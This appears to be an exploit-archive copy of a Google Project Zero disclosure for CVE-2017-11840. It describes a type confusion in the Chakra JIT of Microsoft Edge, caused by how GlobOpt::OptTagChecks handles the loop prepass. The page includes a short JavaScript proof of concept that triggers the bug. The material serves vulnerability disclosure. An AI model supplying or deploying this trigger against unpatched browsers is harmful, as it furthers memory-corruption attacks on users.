Exploit the possiblities

Microsoft Edge Chakra JIT GlobOpt::OptTagChecks Property Consideration

Microsoft Edge Chakra JIT GlobOpt::OptTagChecks Property Consideration
Posted Nov 25, 2017
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra JIT GlobOpt::OptTagChecks must consider IsLoopPrePass properly.

tags | exploit
advisories | CVE-2017-11840
MD5 | 5bd662559cea0fe382cb5b1af85cbdb3

Microsoft Edge Chakra JIT GlobOpt::OptTagChecks Property Consideration

Change Mirror Download
Microsoft Edge: Chakra: JIT: GlobOpt::OptTagChecks must consider IsLoopPrePass properly 

CVE-2017-11840


Some background: <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1364" title="" class="" rel="nofollow">https://bugs.chromium.org/p/project-zero/issues/detail?id=1364</a>

There's one more place that emits a BailOnNotObject opcode.

Here's a snippet of GlobOpt::OptTagChecks.
if (valueType.CanBeTaggedValue() &&
!valueType.HasBeenNumber() &&
(this->IsLoopPrePass() || !this->currentBlock->loop))
{
ValueType newValueType = valueType.SetCanBeTaggedValue(false);

// Split out the tag check as a separate instruction.
IR::Instr *bailOutInstr;
bailOutInstr = IR::BailOutInstr::New(Js::OpCode::BailOnNotObject, IR::BailOutOnTaggedValue, instr, instr->m_func);
...
}

The JIT compiler analyzes a loop twice for some reasons such as to track types properly. In the first analysis, "IsLoopPrePass" returns true. And it returns false in the second analysis.

But in the above snippet, it emits the bailout opcode in the first analysis("this->IsLoopPrePass()" is satisfied). But the return value of "valueType.HasBeenNumber()" can be different in the second analysis. So it may fail to detect type changes.

PoC:
function opt() {
let obj = [2.3023e-320];
for (let i = 0; i < 1; i++) {
obj.x = 1; // In the first analysis, BailOnNotObject emitted
obj = +obj; // Change the type
obj.x = 1; // Type confusion
}
}

function main() {
for (let i = 0; i < 1000; i++) {
opt();
}
}

main();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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